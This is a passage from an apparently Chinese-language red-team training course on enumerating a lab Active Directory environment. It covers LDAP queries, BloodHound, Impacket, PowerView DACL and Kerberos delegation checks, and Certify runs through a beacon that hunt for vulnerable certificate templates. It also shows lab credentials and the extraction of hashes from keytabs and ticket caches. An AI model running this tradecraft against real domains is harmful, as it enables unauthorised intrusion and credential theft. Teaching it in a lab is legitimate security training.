dn: CN=Guest,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: Guest

# DC01, Domain Controllers, prod.raven-med.local
dn: CN=DC01,OU=Domain Controllers,DC=prod,DC=raven-med,DC=local
sAMAccountName: DC01$

# krbtgt, Users, prod.raven-med.local
dn: CN=krbtgt,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: krbtgt

# RAVEN-MED$, Users, prod.raven-med.local
dn: CN=RAVEN-MED$,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: RAVEN-MED$

# FILE01, File Server, Assets, prod.raven-med.local
dn: CN=FILE01,OU=File Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: FILE01$

# SRV01, SQL Server, Assets, prod.raven-med.local
dn: CN=SRV01,OU=SQL Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: SRV01$

# WEB01, Web Server, Assets, prod.raven-med.local
dn: CN=WEB01,OU=Web Server,OU=Assets,DC=prod,DC=raven-med,DC=local
sAMAccountName: WEB01$

# sql_service, Users, prod.raven-med.local
dn: CN=sql_service,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: sql_service

# app_security, Users, prod.raven-med.local
dn: CN=app_security,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: app_security

# network_security, Users, prod.raven-med.local
dn: CN=network_security,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: network_security

# alice, Users, prod.raven-med.local
dn: CN=alice,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: alice

# harold, Users, prod.raven-med.local
dn: CN=harold,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: harold

# backup_operator, Users, prod.raven-med.local
dn: CN=backup_operator,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: backup_operator

# john, Users, prod.raven-med.local
dn: CN=john,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: john

# newman, Users, prod.raven-med.local
dn: CN=newman,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: newman

# jim, Users, prod.raven-med.local
dn: CN=jim,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: jim

# carl, Users, prod.raven-med.local
dn: CN=carl,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: carl

# fusco, Users, prod.raven-med.local
dn: CN=fusco,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: fusco

# search reference
ref: ldap://DomainDnsZones.prod.raven-med.local/DC=DomainDnsZones,DC=prod,DC=r
 aven-med,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 21
# numEntries: 19
# numReferences: 1
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/kn4zlwPV2VEm9boQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/kn4zlwPV2VEm9boQ-image.png)

##### **主机**

我们指定了 **objectclass** 为 **computer**，并且提取 **dnshostname** 属性：

```shell
web01@web01:~$ ldapsearch -h 172.16.1.11 -p 389 -x -b "dc=prod,dc=raven-med,dc=local" -D 'prod\alice' -w 'elizabeth' '(objectclass=computer)' dnshostname
# extended LDIF
#
# LDAPv3
# base <dc=prod,dc=raven-med,dc=local> with scope subtree
# filter: (objectclass=computer)
# requesting: dnshostname 
#

# DC01, Domain Controllers, prod.raven-med.local
dn: CN=DC01,OU=Domain Controllers,DC=prod,DC=raven-med,DC=local
dNSHostName: dc01.prod.raven-med.local

# FILE01, File Server, Assets, prod.raven-med.local
dn: CN=FILE01,OU=File Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: file01.prod.raven-med.local

# SRV01, SQL Server, Assets, prod.raven-med.local
dn: CN=SRV01,OU=SQL Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: srv01.prod.raven-med.local

# WEB01, Web Server, Assets, prod.raven-med.local
dn: CN=WEB01,OU=Web Server,OU=Assets,DC=prod,DC=raven-med,DC=local
dNSHostName: web01.prod.raven-med.local

# search reference
ref: ldap://DomainDnsZones.prod.raven-med.local/DC=DomainDnsZones,DC=prod,DC=r
 aven-med,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 6
# numEntries: 4
# numReferences: 1
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/iwEYst4pln6FLapW-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/iwEYst4pln6FLapW-image.png)

<div class="J0lOec" id="bkmrk--16"></div><div aria-live="polite" class="dePhmb" id="bkmrk-linux%E6%94%BB%E5%87%BB%E4%B8%BB%E6%9C%BA" jsaction="copy:zVnXqd,r8sht;" jsname="r5xl4"><div class="J0lOec">  
</div><div class="J0lOec">**Linux 攻击主机**</div></div><div class="J0lOec" id="bkmrk--17"></div><div class="J0lOec" id="bkmrk-%E6%8E%A5%E4%B8%8B%E6%9D%A5%EF%BC%8C%E6%88%91%E4%BB%AC%E8%AE%A8%E8%AE%BA%E5%9C%A8-linux-%E6%94%BB%E5%87%BB%E4%B8%BB%E6%9C%BA"><span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">接下来，我们讨论在 Linux 攻击主机上通过隧道或者代理对目标进行枚举，对于认证，往往也更加灵活，我们可以使用明文凭证之外的认证方式，例如票据、keytab、哈希等。</span></span></span></div><div class="J0lOec" id="bkmrk--18"></div><div class="J0lOec" id="bkmrk-%E6%88%91%E4%BB%AC%E4%B9%8B%E5%89%8D%E5%8F%91%E7%8E%B0%E4%BA%86-john-%E7%9A%84-home-"><span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">我们之前发现了 john 的 home 目录下存放着 keytab，我们可以使用 **KeyTabExtract** [(https://github.com/sosdave/KeyTabExtract](https://github.com/sosdave/KeyTabExtract)) 脚本从 keytab 文件中提取出 NTLM 哈希或者 AES 密钥值，而该 keytab 有着 **john** 的 **NTLM** 哈希。</span></span></span></div>[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/SUg6krSvmiEhrcJp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/SUg6krSvmiEhrcJp-image.png)

以及 **/etc** 目录下 **Web01$** 的哈希

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/tFkdfQ4OIDUSKXDy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/tFkdfQ4OIDUSKXDy-image.png)

在 /tmp 目录下，还有着 Alice (该小节刚开始的时候登录的) 与 Administrator 的 ccache。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/mhCgpKOb4ksTZThL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/mhCgpKOb4ksTZThL-image.png)

<div class="J0lOec" id="bkmrk--22"></div><div class="J0lOec" id="bkmrk-%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E6%8A%8A%E5%9C%A8linux%E5%9F%9F%E4%B8%BB%E6%9C%BA%E4%B8%8A%E6%90%9C%E9%9B%86%E5%88%B0%E7%9A%84-">  
</div>#### **<span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">BloodHound Python </span></span></span>**

<div class="J0lOec" id="bkmrk--23"></div><div class="J0lOec" id="bkmrk--24"></div><div class="J0lOec" id="bkmrk-python-%E7%89%88-bloodhound-"><span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">Python 版 BloodHound 可以在 Linux 主机上运行，需要 impacket 的依赖。我们可以通过 **pip3 install bloodhound** 安装，之后运行 **bloodhound-python** 运行。我们这里使用的是 Alice 的明文帐号密码认证的，我们也可以提供 **john** 或者 **Web01$** 的 NTLM 哈希甚至 ccache (原理在后续章节深入)。</span></span></span></div><div class="J0lOec" id="bkmrk--25"></div>```
proxychains bloodhound-python -c All -u 'alice@prod.raven-med.local' -p elizabeth  -d prod.raven-med.local -ns 172.16.1.11 --dns-tcp --dns-timeout 10
```

<div class="J0lOec" id="bkmrk--ns-%E9%80%89%E9%A1%B9%E6%8C%87%E5%AE%9A%E4%BA%86-dc01-%E4%B8%BA-dns"><span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">**-ns** 选项指定了 **DC01** 为 **DNS 服务器**，**--dns-tcp** 强制使用 **DNS TCP**，因为 **UDP** 不被 SOCKS 支持。设置 **--dns-timeout** 为 **10**，默认值会因为短时间的通信尝试而直接判定为超时。</span></span></span></div>```shell
root@ts:/opt/framework# proxychains bloodhound-python -c All -u 'alice@prod.raven-med.local' -p elizabeth  -d prod.raven-med.local -ns 172.16.1.11 --dns-tcp --dns-timeout 10
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
INFO: Found AD domain: prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
WARNING: Could not find a global catalog server, assuming the primary DC has this role
If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
INFO: Getting TGT for user
|DNS-request| prod.raven-med.local 
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
|DNS-response|: prod.raven-med.local does not exist
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (prod.raven-med.local:88)] [Errno 1] Unknown error
INFO: Connecting to LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:53-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 4 computers
INFO: Connecting to LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
INFO: Connecting to GC LDAP server: dc01.prod.raven-med.local
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:3268-<><>-OK
INFO: Found 15 users
INFO: Found 48 groups
INFO: Found 5 gpos
INFO: Found 6 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: web01.prod.raven-med.local
............
INFO: Done in 01M 56S

```

<div class="J0lOec" id="bkmrk--26"></div>[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/0WAty5SLBM4Gra5u-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/0WAty5SLBM4Gra5u-image.png)

<div class="J0lOec" id="bkmrk-%E4%BD%BF%E7%94%A8%E4%B9%8B%E5%90%8E%EF%BC%8C%E4%BC%9A%E8%BE%93%E5%87%BA-json-%E6%96%87%E4%BB%B6%EF%BC%8C%E6%88%91%E4%BB%AC%E5%90%8C"><span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">使用之后，会输出 json 文件，我们同样可以上传给 BloodHound。</span></span></span></div><div class="J0lOec" id="bkmrk--28"></div>#### **Impacket**

Impacket ([https://github.com/fortra/impacket](https://github.com/fortra/impacket)) 是一套可以对 AD 进行网络协议交互的工具，可用于枚举与利用，十分强劲。目前，我们只专注于枚举。

例如，我们可以使用 GetADUser.py 枚举域内用户

```shell
root@ts:/opt/framework/impacket/examples# proxychains python3 GetADUsers.py  -all prod.raven-med.local/alice:elizabeth  -dc-ip 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
[*] Querying 172.16.1.11 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2023-01-20 18:38:16.572334  2023-03-30 19:53:43.462751 
Guest                                                 <never>              <never>             
krbtgt                                                2023-01-21 03:14:17.129622  <never>             
                                                      2023-03-28 02:21:44.373836  <never>             
sql_service                                           2023-01-28 19:35:17.958491  2023-03-28 03:04:56.416162 
app_security                                          2023-01-28 20:00:19.880249  <never>             
network_security                                      2023-01-28 20:00:30.270846  <never>             
alice                                                 2023-01-28 20:03:12.536442  2023-03-31 03:58:54.462135 
harold                                                2023-01-28 20:33:54.612025  <never>             
backup_operator                                       2023-01-28 21:53:00.350035  <never>             
john                                                  2023-01-29 01:02:53.942678  2023-03-28 02:06:57.796057 
newman                                                2023-02-14 04:21:09.365594  <never>             
jim                                                   2023-02-14 04:21:23.271692  <never>             
carl                                                  2023-02-14 04:21:51.818645  <never>             
fusco                                                 2023-02-14 04:22:23.256115  2023-03-30 19:58:17.243954 

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DuJuR5l7ZP9LjbFw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DuJuR5l7ZP9LjbFw-image.png)

使用 GetUserSPNs 来获取所有设置了 SPN 的用户

```shell
root@ts:/opt/framework/impacket/examples# proxychains python3 GetUserSPNs.py prod.raven-med.local/alice:elizabeth  -dc-ip 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:389-<><>-OK
ServicePrincipalName                       Name         MemberOf  PasswordLastSet             LastLogon                   Delegation 
-----------------------------------------  -----------  --------  --------------------------  --------------------------  ----------
MSSQLSvc/srv01.prod.raven-med.local:SQL01  sql_service            2023-01-28 19:35:17.958491  2023-03-28 03:04:56.416162             
MSSQLSvc/srv01.prod.raven-med.local:1433   sql_service            2023-01-28 19:35:17.958491  2023-03-28 03:04:56.416162  
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DghWSd1rSqc0P8NE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DghWSd1rSqc0P8NE-image.png)

####   


#### **CrackMapExec**

CrackMapExec ([https://github.com/Porchetta-Industries/CrackMapExec](https://github.com/Porchetta-Industries/CrackMapExec)) 如今发展成了一款类似于 Impacket 的多功能 AD 枚举与利用瑞士军刀。请学员们自行下载、安装与探索。

# DACL

DACL 揭露了域内对象与对象之间的权限关系，可以是用户对用户的，用户对主机的，主机对主机的，诸如此类。例如，用户 John 对用户 app\_security 具有 **GenericWrite** 的权限，那么 **John** 可以为其设置一个 SPN。DACL 无疑是域内最值得我们关注的利用之一。

对于 DACL 的枚举，最直观的就是使用 SharpHound 进行信息搜集然后使用 **BloodHound** 进行查看，虽然 BloodHound 有的时候也会遗漏一些 DACL。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/0iYH4OBNgkeFRTt0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/0iYH4OBNgkeFRTt0-image.png)

除此之外，我们也可以组合 PowerView中的命令，查看某个用户的DACL，以及我们当前用户对其他用户的DACL：

### **枚举特定用户的DACL**

指定目标用户，可以看到其他域对象作用于其的 DACL (对该用户具有 DACL 的对象以及权限)

```powershell
Get-ObjectAcl -Identity <用户名> -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Select Identity,AceType,ObjectCN,ActiveDirectorys | findstr '\'
```

我们可以看到，用户 john 对 app\_security 具有 **WriteProperty** 权限。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/818f1STqhyteWymw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/818f1STqhyteWymw-image.png)

###  

### **枚举当前用户对其他用户的权限**

登陆为 **network\_security**，并使用如下命令 (无须修改)，我们发现 **network\_security** 对用户 **backup\_operato**r 具有 **GenericAll** 权限。

```powershell
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}} | Select Identity,AceType,ActiveDirectoryRights,ObjectDN
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/LbcHR4Xu6cDIDu5u-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/LbcHR4Xu6cDIDu5u-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/RjdiDINCQqYhNuhJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/RjdiDINCQqYhNuhJ-image.png)

# Kerberos 委派

Kerberos 委派是什么，以及怎么利用，也许你们现在会感到有些困惑，这不要紧，因为我们目前只是在枚举阶段，但是我们需要知道 Kerberos 委派对于我们的利用是很关键的，因此对其进行枚举是前期就需要完成的事情。

从结果出发，委派可以让我们在其他主机上执行远程命令，从而接管这些主机。但我们也需要注意，有些用户是不允许被委派的，比如域管理员，因为他们具有很高的权限。

WHITE-BIRD 中的 Administrator 就不可被委派。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/GMaSHnU1vOm0mcf2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/GMaSHnU1vOm0mcf2-image.png)

我们需要枚举的委派有 3 类：

### **非约束委派**

非约束委派无疑是最强大的，因为对非约束委派的成功利用往往可能导致对整个域乃至森林的接管。

```powershell
Get-NetComputer -Unconstrained | select dnshostname
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/QndhMQfG8nt2fFza-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/QndhMQfG8nt2fFza-image.png)

当前域中，只有 DC 是被设置了非约束委派的。域控制器总是会被设置非约束委派，但这对于我们并没有帮助。而在 RAVEN-MED 中，我们发现了 mon01 是被设置了非约束委派的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/F9imO1a3Z7S3RbZ9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/F9imO1a3Z7S3RbZ9-image.png)

我们在 BloodHound 中，可以用内置的语句查询所有到达被设置了非约束委派主机的路径。图像比较凌乱，但我们可以看到有 4 台 主机被设置了非约束委派。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/KQmfNo0uMDy2njNY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/KQmfNo0uMDy2njNY-image.png)

###   


### **约束委派**

通常，我们可以通过利用约束委派横向移动到至少 1 台其他主机上，这取决于被设置约束委派的主机/服务帐号可以委派多少主机与服务。不仅主机可以被设置约束委派，服务帐号也可以。

```powershell
Get-NetComputer -TrustedToAuth

Get-NetUser -TrustedToAuth
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/OHDlVu7vYBRxFaT9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/OHDlVu7vYBRxFaT9-image.png)

我们发现 **Web02** 被设置了约束委派。

此外，**med-factory.local** 域中的 **deleg\_exer** 服务帐号也被设置了约束委派。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/y6oZlmP5ELmw1mdn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/y6oZlmP5ELmw1mdn-image.png)

### **基于资源的约束委派 （RBCD）**

如果被我们控制的主机或服务账号对其他主机具有 **GenericWrite** 以及更高 (例如**GenericAll**) 的权限，我们最终可以通过利用 **S4U** 横向移动到其他主机上。

至于枚举的话，通过查看 BloodHound的 显示更为直观。或者使用脚本 adPEAS 协助我们发现可利用的RBCD。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/9SsETSWRsAB9tzaZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/9SsETSWRsAB9tzaZ-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/vBuShfSD4TPer8a2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/vBuShfSD4TPer8a2-image.png)

实际上 File01 对 Dc01 具有 GenericAll 权限，因此可以用于利用 RBCD

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/HygPGsLFtLCK2zGM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/HygPGsLFtLCK2zGM-image.png)

# ADCS

ADCS 的利用，是这几年里较新的利用手段。因此，我们也需要对 ADCS 进行枚举。ADCS（Active Directory 证书服务）是 Microsoft 的 PKI 实现，可与现有的 Active Directory 森林集成，从而实现数字证书的创建和管理。这些证书具有多种功能，如对用户进行身份验证，对文件和通信进行加密，提供数字签名以及验证电子文档。ADCS 使管理员能够建立并监督他们的证书颁发机构（CA），以向组织内的用户、计算机和其他资源颁发数字证书。与使用外部证书提供商相比，这种方法被认为更安全、更高效。

然而，同其他技术一样，不当的配置会引入可被利用的风险因素。在 ADCS 的上下文中，可以导致特权提升 (普通域用户甚至可以提升至域管理员) 以及持久化。我们可以使用工具 Certify ([https://github.com/GhostPack/Certify](https://github.com/GhostPack/Certify)) 来枚举域内的ADCS。

### **枚举CA**

我们可以用 certify.exe 以及 cas 选项来枚举域内的 CA。

```
certify.exe cas
```

而在 Linux 操作系统中，我们可以通过 **pip3 install certipy-ad** 命令来安装 Certify Linux 版 Certipy。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Nurw1qRbxl0OqDTI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Nurw1qRbxl0OqDTI-image.png)

不过，white-bird 域中并没有 ADCS 服务，因此也没有 CA 的存在。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/4Tc5PbN09hBay45h-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/4Tc5PbN09hBay45h-image.png)

对于 PROD 以及 RAVEN-MED 也一样。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/MHh5EfTl7OLtDqIQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/MHh5EfTl7OLtDqIQ-image.png)

实际上，med-factory 域中存在 ADCS 服务。我们发现，**172.16.1.32** 这台内部主机，即 **Cert01** 开放了 **80** 端口，是个 HTTP 服务。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/SvUzzamN1Uaok7Zw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/SvUzzamN1Uaok7Zw-image.png)

当我们访问终端 certsrv，发现需要验证，虽然我们还没有有效的凭证，但是这证明了 Med-factory 确实存在着 ADCS 服务，而 **Cert01** 提供了 ADCS 的 Web 终端。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DelpHVPbASI8YYkX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DelpHVPbASI8YYkX-image.png)

RAVEN-MED 森林被 Med-factory 信任，因此我们需要一个有效的 RAVEN-MED 森林中的帐号来跨域枚举 Med-factory 的 ADCS 信息，PROD 域中的 Alice 的凭证可以被我们所用。

我们以 Alice 身份跨域对 med-factory.local 域的 CA 进行枚举

```shell
beacon> execute-assembly certify.exe cas /domain:med-factory.local
[*] Tasked beacon to run .NET program: certify.exe cas /domain:med-factory.local
[+] host called home, sent: 279141 bytes
[+] received output:

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.0.0                               


[+] received output:
[*] Action: Find certificate authorities
[*] Using the search base 'CN=Configuration,DC=med-factory,DC=local'


[*] Root CAs


[+] received output:
    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local



[*] NTAuthCertificates - Certificates that enable authentication:

    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local


[*] Enterprise/Enrollment CAs:

    Enterprise CA Name            : med-factory-CERT01-CA
    DNS Hostname                  : cert01.med-factory.local
    FullName                      : cert01.med-factory.local\med-factory-CERT01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local
    UserSpecifiedSAN              : Could not connect to the HKLM hive - The network path was not found.

    CA Permissions                :
[X] Could not connect to the HKLM hive - The network path was not found.



[+] received output:
    Enabled Certificate Templates:
        ClientAuth
        DirectoryEmailReplication
        DomainControllerAuthentication
        KerberosAuthentication
        EFSRecovery
        EFS
        DomainController
        WebServer
        Machine
        User
        SubCA
        Administrator

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/RpDa63rIglTpUiz0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/RpDa63rIglTpUiz0-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Eem1Tmf07m8aBudw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Eem1Tmf07m8aBudw-image.png)

从输出中，我们可以看到 CA 信息以及可用的证书模板。

### **枚举脆弱的证书模板**

证书模板是预定义格式的证书，可用于创建具有指定属性的新证书。配置不当的证书模板可被用于域内提权，我们可以让 certify 帮我们自动寻找配置不当的证书，但 Certify 只会寻找全局脆弱的证书模版，即所有域用户都能利用的证书模板，而可能忽视特定用户可以利用的脆弱证书模板。

```powershell
certify.exe find /vulnerable
```

实际上，Vuln1 与 Vuln2 都是可被利用的脆弱证书模板，但 Certify 并没有发现。

```powershell
beacon> execute-assembly certify.exe find /vulnerable /domain:med-factory.local
[*] Tasked beacon to run .NET program: certify.exe find /vulnerable /domain:med-factory.local
[+] host called home, sent: 279167 bytes
[+] received output:

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.0.0                               

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=med-factory,DC=local'

[*] Listing info about the Enterprise CA 'med-factory-CERT01-CA'

    Enterprise CA Name            : med-factory-CERT01-CA
    DNS Hostname                  : cert01.med-factory.local
    FullName                      : cert01.med-factory.local\med-factory-CERT01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=med-factory-CERT01-CA, DC=med-factory, DC=local
    Cert Thumbprint               : E68CB2ADB9E53C169D1D6740D3F96E064AD62B0E
    Cert Serial                   : 41D46C07284C818C44EDFA659A7148BD
    Cert Start Date               : 1/20/2023 8:45:25 PM
    Cert End Date                 : 1/20/2028 8:55:25 PM
    Cert Chain                    : CN=med-factory-CERT01-CA,DC=med-factory,DC=local

[+] received output:
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-512
      Allow  ManageCA, ManageCertificates               <UNKNOWN>                     S-1-5-21-2207869169-3133627043-1838267575-519
    Enrollment Agent Restrictions : None

[+] received output:

[!] Vulnerable certificate templates that exist but an Enterprise CA does not publish:

    Vuln1


[+] No Vulnerable Certificates Templates found!
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/nuxfJma67zOjRQxo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/nuxfJma67zOjRQxo-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/yPAvOHLnUjuSLUyA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/yPAvOHLnUjuSLUyA-image.png)

对于读不懂的 SID 值，我们可以将其转换为名称

```powershell
